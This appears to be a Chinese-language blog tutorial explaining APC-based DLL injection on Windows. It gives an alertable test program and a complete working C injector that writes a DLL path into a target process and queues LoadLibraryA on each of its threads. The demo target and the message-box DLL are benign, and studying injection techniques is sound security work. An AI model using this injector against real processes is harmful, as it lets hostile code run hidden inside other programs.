2022-02-20注入00
请注意,本文编写于 282 天前,最后修改于 204 天前,其中某些信息可能已经过时。

"APC"是"Asynchronous Procedure Call"(异步过程调用)的缩写,它是一种软中断机制,当一个线程从等待状态中苏醒时(线程调用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx函数时会进入可唤醒状态),它会检测有没有APC交付给自己。如果有,就会执行这些APC过程。APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC称为用户模式APC。APC调用的顺序为先入先出(FIFO)。我们可以使用 QueueUserAPC 函数把一个APC函数压入APC队列中

c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

 将QueueUserAPC函数的第一个参数(函数地址)设置的是LoadLibraryA函数地址;第二个参数要注入的进程的线程句柄,第三个参数(传递参数)设置的是DLL路径,那么执行APC时便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。

注意:一个进程可能包含多个线程,为了确保能够执行插入的APC,应向目标进程的所有线程都插入相同的APC,实现加载DLL的操作,此外注入目标要处于警醒的状态。

目标程序
警醒的状态

c
// Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
# include <windows.h>

int main()
{
	while (true)
	{
		SleepEx(5000, TRUE);
	}

	system("pause");
	return 0;
}

实现代码

c
# include <stdio.h>
# include <Windows.h>
# include <TlHelp32.h>
//dwPid:进程ID
//lpDllPath:动态链接库的路径

typedef HMODULE
(WINAPI*
	FunLoadLibraryA)(
		_In_ LPCSTR lpLibFileName
		);
BOOL Inject(DWORD dwPid, LPCSTR lpDllPath)
{
	DWORD dwWrite;
	HMODULE hModule = LoadLibraryA("Kernel32.dll");
	if (!hModule)
	{
		return FALSE;
	}
	FunLoadLibraryA dwFuncAddress = (FunLoadLibraryA)GetProcAddress(hModule, "LoadLibraryA");
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	PVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	WriteProcessMemory(hProcess, pAddress, lpDllPath, (strlen(lpDllPath) + 1), &dwWrite);

	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
	THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
	BOOL bRet = Thread32First(hSnap, &te32);
	if (bRet)
	{
		do
		{
			if (te32.th32OwnerProcessID == dwPid)
			{
				HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
				QueueUserAPC((PAPCFUNC)dwFuncAddress, hThread, (ULONG_PTR)pAddress);
			}
		} while (Thread32Next(hSnap, &te32));
	}
	return TRUE;
}

int main()
{
	Inject(42072, "F:\\work\\MsgBox.dll");
	return 0;
}

本文作者:Na1r

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!